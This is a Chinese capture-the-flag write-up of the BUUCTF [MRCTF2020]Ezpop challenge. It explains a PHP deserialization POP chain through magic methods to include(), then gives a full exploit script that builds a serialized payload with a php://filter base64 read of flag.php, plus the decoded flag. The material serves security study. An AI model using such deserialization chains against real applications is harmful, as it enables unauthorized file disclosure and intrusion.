首页 > 其他分享 >BUUCTF: [MRCTF2020]Ezpop

BUUCTF: [MRCTF2020]Ezpop

时间:2023-06-19 16:38:22浏览次数:64  
标签:__ function BUUCTF Show source Ezpop Test public MRCTF2020


https://buuoj.cn/challenges#[MRCTF2020]Ezpop

BUUCTF: [MRCTF2020]Ezpop_BUUCTF

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

POP链

include($value)<-Modifier::append()<-Modifier::__invoke()<-Test::__get()<-Show::__toString()<-Show::__wakeup()

根据题目信息知道flag.php在当前目录,而整个题目只有include($value)是有办法通过php伪协议读取到flag.php,从Modifier::append()反推。Modifier::__invoke()会调用Modifier::append(),而Modifier::__invoke()的触发条件是把实例对象当作方法调用。很明显,如果把实例对象赋给Test::p时,Test::__get()会触发Modifier::__invoke()

Test::__get()的触发条件是调用不可访问的属性或者方法,能做到的只有Show::__toString(),只需要$this->str=new Test(),即可触发Test::__get()。而Test::__toString()的触发条件这里只有preg_match()Test::__construct()限定了形参为字符型,如果Show::__construct($file)可以传对象,echo 'Welcome to '.$this->source."<br>";应该也会触发Show::__toString

<?php 
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=./flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$show = new Show();
$show->source = new Show();
$show->source->str = new Test();
$show->source->str->p = new Modifier();

echo urlencode(serialize($show));
 ?>

BUUCTF: [MRCTF2020]Ezpop_方法调用_02

PS C:\Users\Administrator\Desktop> php -r "var_dump(base64_decode('PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2VmMmVjOWE3LWI3YjUtNGVhYy04MWMwLTU1NjJlN2ExODUwZn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+'));"
Command line code:1:
string(114) "<?php
class Flag{
    private $flag= "flag{ef2ec9a7-b7b5-4eac-81c0-5562e7a1850f}";
}
echo "Help Me Find FLAG!";
?>"


标签:__,function,BUUCTF,Show,source,Ezpop,Test,public,MRCTF2020
From: https://blog.51cto.com/u_16159500/6515557

相关文章

  • BUUCTF:[ASIS 2019]Unicorn shop
    https://buuoj.cn/challenges#[ASIS%202019]Unicorn%20shop功能是一个购物商店,输入商品ID和价钱进行点击购买。源代码中提醒<metacharset="utf-8">很重要html使用的是UTF-8编码id和price都为空点击购买,返回报错及原因从中可以发现源代码是如何处理price的使用的是unicodedata......
  • BUUCTF:[羊城杯 2020]image_rar
    binwalk分析xiao_mi2.mp4发现很多压缩包,压缩了很多图片将xiao_mi2.mp4修改后缀改为xiao_mi2.zip得到一个hint,但这个压缩包密码并不是指当前的zip压缩包继续往后看,解压这些图片之后发现里面只有65.jpg显示不正常010Editor打开65.jpg文件头ara!,非常类似rar压缩包的文件头Rar!,修......
  • BUUCTF:[UTCTF2020]sstv
    https://buuoj.cn/challenges#[UTCTF2020]sstvattachment.wavKali安装QSSTVapt-getinstallqsstvOptions->Configuration->Sound勾选Fromfile然后点击这个小按钮,选择attachment.wav开始解码flag{6bdfeac1e2baa12d6ac5384cdfd166b0}......
  • BUUCTF:[BSidesSF2019]table-tennis
    https://buuoj.cn/challenges#[BSidesSF2019]table-tennisattachment.pcapng在ICMP包的尾部发现html代码,其中有打印base64信息拼接起来就是Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9>>>importbase64>>>base64.b64decode('Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9')b&......
  • BUUCTF:[GUET-CTF2019]soul sipse
    https://buuoj.cn/challenges#[GUET-CTF2019]soul%20sipseout.wav可用Steghide无密码分离出download.txtdownload.txthttps://share.weiyun.com/5wVTIN3下载得到GUET.png,修改为正确的PNG文件头保存得到正常的图片。如下\u0034\u0030\u0037\u0030\u000d\u000a\u0031\u0032\u0033\u0......
  • BUUCTF:[INSHack2017]remote-multimedia-controller
    https://buuoj.cn/challenges#[INSHack2017]remote-multimedia-controllerremote-media-controler.pcap流量包中发现一个长度很大的包,里面有一串base64,解了一下发现是套娃,直接用脚本importbase64withopen('base64.txt','r')asfile:codestr=file.read()try:......
  • BUUCTF:[DDCTF2018]流量分析
    https://buuoj.cn/challenges#[DDCTF2018]%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90流量分析.pcap流量分析.txt流量分析200pt提示一:若感觉在中间某个容易出错的步骤,若有需要检验是否正确时,可以比较MD5:90c490781f9c320cd1ba671fcb112d1c提示二:注意补齐私钥格式-----BEGINRSAPR......
  • BUUCTF:[BSidesSF2019]diskimage
    https://buuoj.cn/challenges#[BSidesSF2019]diskimageattachment.pngzsteg-aattachment.png发现磁盘数据zsteg-e'b8,rgb,lsb,xy'attachment.png>data.dat分离出FAT格式的数据使用TestDisk对文件进行分析testdiskdata.dat[Proceed]回车[None]回车[Boot]回车[RebuildsBS]......
  • BUUCTF:[CFI-CTF 2018]webLogon capture
    https://buuoj.cn/challenges#[CFI-CTF%202018]webLogon%20capturelogon.pcapng包的数量很少,随便抓个包跟踪一下流即可发现passwordPSC:\Users\Administrator>php-r"var_dump(urldecode('%20%43%46%49%7b%31%6e%73%33%63%75%72%33%5f%6c%30%67%30%6e%7d%20'));"Co......
  • BUUCTF:[SWPU2019]伟大的侦探
    题目地址:https://buuoj.cn/challenges#[SWPU2019]%E4%BC%9F%E5%A4%A7%E7%9A%84%E4%BE%A6%E6%8E%A2密码.txt可解压,misc文件夹需要解压密码,将密码.txt使用010Editor打开,使用EBCDIC编码即可发现密码明文解压,misc文件夹内容如下:福尔摩斯小人密码对照得到:iloveholmesandwllmflag{ilov......